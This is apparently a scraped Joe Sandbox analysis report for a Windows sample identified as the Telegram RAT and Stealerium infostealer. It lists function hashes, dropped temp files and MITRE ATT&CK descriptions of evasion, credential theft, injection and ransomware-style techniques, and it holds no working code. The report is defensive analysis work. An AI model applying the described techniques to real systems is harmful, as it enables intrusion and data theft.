Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02217b7871d8610de59ca16db0dbd62d867998aaaf65807a566d1d78dbbffc6f
Instruction ID: bcff5926da610b366f03c04ba7833a10a6b72576c3d07b54af6ca7b82b530589
Opcode Fuzzy Hash: 02217b7871d8610de59ca16db0dbd62d867998aaaf65807a566d1d78dbbffc6f
Instruction Fuzzy Hash: E4C02B3344C58C87CF217B2058420E9BF20FF44104F4002DAF95C02011E951933CC7C2

Function 00007FFE16866770 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2632989903.00007FFE16860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16860000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16860000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fae03e9fb3a33b57a7bb973b8ddc982843186077eaf224950399bfc5cc8f2fff
Instruction ID: af21221f04686975d7a1630d43bfcbbcbf93e6dfa062d908eef48f07a5a7ecaf
Opcode Fuzzy Hash: fae03e9fb3a33b57a7bb973b8ddc982843186077eaf224950399bfc5cc8f2fff
Instruction Fuzzy Hash: 4FA0022B7D683905A60050DEBC210E8F346E9D187A74B14B3EA6CC6A60D59B85A70596

Function 00007FFE166508D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e7458d07ecfa17bfbe8e6b923b7a07352ff128c5bce7f642f0b428fb8c4eab1
Instruction ID: bc64e3ac6cdb768e18a09627104c47046f886e721492c2db6481b9ddcc8e598a
Opcode Fuzzy Hash: 0e7458d07ecfa17bfbe8e6b923b7a07352ff128c5bce7f642f0b428fb8c4eab1
Instruction Fuzzy Hash: 41A02200A2000282F080B22C000032CC283CB00200FA000B0B008C2083EC0888000002

Non-executed Functions

Function 00007FFE16652664 Relevance: 5.1, Strings: 4, Instructions: 73COMMON

Download Yara Rule

Strings

H^pU, xrefs: 00007FFE166526CC
X^pU, xrefs: 00007FFE166526BA
`^pU, xrefs: 00007FFE166526DE
P^pU, xrefs: 00007FFE1665266F

Memory Dump Source

Source File: 00000000.00000002.2630750935.00007FFE16650000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE16650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe16650000_yv7QsAR49V.jbxd

Similarity

API ID:
String ID: H^pU$P^pU$X^pU$`^pU
API String ID: 0-481021870
Opcode ID: 72824cf2f00af430129c64cbd9bf99c0aea5858bcc800224ba6ac03772bf9965
Instruction ID: 37fcf484d3417b11b6a9ebeb67793f282c27a97ed54e7c5ac5d054001d9e6716
Opcode Fuzzy Hash: 72824cf2f00af430129c64cbd9bf99c0aea5858bcc800224ba6ac03772bf9965
Instruction Fuzzy Hash: 2221D67050D8C99FDB41E7B8845A5EEBFF0EF5A36074849E9D089DF4B2C6286803CB40

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yv7QsAR49V.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Stealerium

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\4d347f08-badb-4aa2-85cc-e67036e9d72f.bat

C:\Users\user\AppData\Local\Temp\Stealerium-Latest.log

C:\Users\user\AppData\Local\Temp\tmpA382.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA3B2.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpA3C3.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpADAB.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpADBC.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpADEC.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpADFC.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpB787.tmp.dat

C:\Users\user\AppData\Local\Temp\tmpB805.tmp.dat

Windows Analysis Report
yv7QsAR49V.exe

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre